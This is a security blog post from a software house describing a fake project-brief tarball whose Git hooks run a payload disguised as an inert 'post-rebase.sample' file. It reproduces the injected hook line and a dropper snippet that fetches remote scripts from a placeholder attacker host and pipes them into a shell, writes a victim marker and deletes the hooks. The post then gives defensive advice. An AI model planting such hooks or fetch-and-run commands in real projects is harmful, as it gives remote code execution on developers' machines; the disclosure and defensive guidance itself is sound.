"A polished project brief landed in our sales inbox this week. Detailed business case. Clean technical architecture. NDA mentioned upfront. The kind of inquiry any mid-sized software house takes seriously.

It was a malware delivery operation. Here is what was actually in the package, why it nearly worked, and what every development team should check before opening a new repository.

The Pitch That Was Too Good

The contact arrived through normal channels: a courteous introductory email about building "a web-based platform for pharmaceutical supply chain management," followed by a Dropbox link to a .tar.gz archive of supporting documentation. The accompanying note explained that "due to security and confidentiality considerations, we are unable to host this as a public repository."

That framing matters. In enterprise B2B, NDAs before disclosure and private distribution channels are entirely normal hygiene. Using "confidentiality" as the reason for a tarball instead of a Git repository is therefore not a red flag to most recipients. The attacker borrows the legitimacy of practices we all expect to follow.

The documentation itself was strong: twelve well-structured Markdown files covering executive summary, PRD, technical architecture, business logic, data model, wireframes, non-functional requirements, a phased timeline, and a legal section. The prose was uniform, hedge-free, and free of typos. Almost certainly LLM-assisted. None of which is suspicious in 2026.

A typical sales-to-engineering handoff at any software house looks like this: account manager skims the package, forwards it to a developer with "take a look, see if it is for us, give a rough estimate." That handoff is exactly where this attack pays off.

What Was in the Box

The archive expands into a Git repository. Inside .git/hooks/, three normally-inactive sample hooks have been installed as active files, with no .sample extension:

.git/hooks/post-checkout
.git/hooks/commit-msg
.git/hooks/pre-push

Each one is almost entirely the standard Git sample hook content, with a single line of code injected near the bottom, blended into the surrounding shell comments:

sh "$(dirname "$0")/post-rebase.sample" >/dev/null 2>&1 &

The file post-rebase.sample then carries the actual payload.

Why "Sample" Made It Look Safe

There is no such thing as a post-rebase Git hook. Git does not invoke a hook by that name. A file called post-rebase.sample is therefore inert as far as Git is concerned, which is precisely why a reviewer skimming .git/hooks/ will pass it without a second glance. It looks like a stock example that will never run.

The three active hooks weaponize this assumption by sourcing the "sample" file directly. The payload itself detects the operating system and quietly executes a one-liner equivalent to:

case "$(uname -s)" in
  Linux)  bash -c "wget -qO- 'https://[attacker-host]/api/l' | sh" & ;;
  Darwin) bash -c "curl -s   'https://[attacker-host]/api/m' | sh" & ;;
  MINGW*|MSYS*|CYGWIN*) cmd.exe //c start "" powershell.exe -WindowStyle Hidden ... ;;
esac
echo "[victim-id]" > "${TMPDIR:-/tmp}/.git-checker"
rm -f .../commit-msg .../post-checkout .../pre-push "$0"

Three things to notice. First, cross-platform remote code execution piped straight into a shell, running with the developer's own credentials. Second, a marker file in /tmp containing a per-victim campaign tag; the same identifier is embedded in the archive filename, so the operator can correlate which target ran the dropper. Third, self-deletion of the hooks after a single execution, leaving very little forensic trace.

The Trigger Hides in Plain Sight

The payload fires on any ordinary Git operation inside the repository: git checkout, git commit, or git push. The repository's own README.md then provides the final piece of social engineering:

To view the NDA documents, run git checkout NDA.

A single instruction the recipient is expected to follow reflexively, which triggers the post-checkout hook and detonates the payload.

Opening an unfamiliar repository in a modern IDE is no safer. VS Code, the JetBrains family, and similar tools routinely run git fetch or git status on project load through built-in or plugin-installed integrations. The trigger surface is wider than the explicit commands a developer types.

Not a Lone Attacker

This pattern is publicly documented and well-attributed. It matches the "Contagious Interview" / "Void Dokkaebi" cluster of activity tracked by Microsoft, Trend Micro, and others through Q1 and Q2 2026, tied to North Korea-nexus groups. The original delivery vector was fake recruitment coding challenges sent to individual developers. The current variant is fake RFPs sent to software houses. Same payload class, broader target set.

For any organization with active business development, the implication is direct: an unsolicited "project package" arriving as an archive, with a confidentiality-flavored excuse for avoiding a hosted repository, now sits inside the existing threat model.

Practical Defense for Development Teams

Five concrete habits worth baking into the way new repositories are reviewed:

  1. Treat a .tar.gz "repository" with more suspicion than one on a hosted platform. Public hosts such as GitHub and GitLab scan for and act on malicious hook patterns. A tarball deliberately bypasses that layer. That is a feature of this attack, not a coincidence.

  1. Inspect .git/hooks/ before any Git command runs. A quick ls -la .git/hooks/ followed by reading every file without a .sample suffix is enough. Anything that looks like a hook but is not on the list of actual Git hook names (post-rebase is the canonical lure) is suspicious by construction.

  1. Unpack to a sandboxed location before opening in an IDE. Editors run Git operations on project load. Review the hook tree from a plain shell first, open in the IDE only after.

  1. Do not rely on operating-system protections. Gatekeeper, System Integrity Protection, code signing, and notarization do not intervene here. The payload runs as your user, with your shell, with your credentials.

  1. Push back on tarball delivery in the sales process. If a prospective client cannot share a project in a private Git repository (with NDA in parallel where needed), that is information, not a process inconvenience. Politely insist.

The Deeper Pattern: Untrusted Data as Code

This attack belongs to the same family as prompt injection in large language models, just in a different substrate. Prompt injection hides instructions inside a channel the model treats as data: page content, a file, an email body. This attack hides instructions inside a channel a developer treats as data: a documentation repository. Both exploit the defender's assumption that one specific input stream contains only inert content.

The mitigation rhymes too. Treat "data" inputs as potentially executable until verified. For LLM-facing systems, that means structuring tool use and grounding so model-visible content cannot rewrite the model's instructions. For developer workflows, it means knowing what your tools will execute when they touch a new repository, before you let them touch it.

What We Did

Our development team identified the payload before any Git command was run on the archive. No machines were exposed. Indicators of compromise have been packaged and submitted to the abuse channels of the hosting providers involved, to the relevant national CSIRT, and to public malware trackers, so other targets of the same campaign benefit from the takedowns.

We are publishing the technical breakdown because the next software house that receives this archive may not catch it on the first read. The defense here is not a tool. It is a habit.

About codelabs.rocks

codelabs.rocks is a software house of 30+ specialists building custom, enterprise-grade web applications for clients across the European Union. We work in Angular and Symfony, on a Time & Material model, in two-week SCRUM sprints. We are into coding, and that includes paying close attention to what code is running on our developers' machines before any of us types git checkout.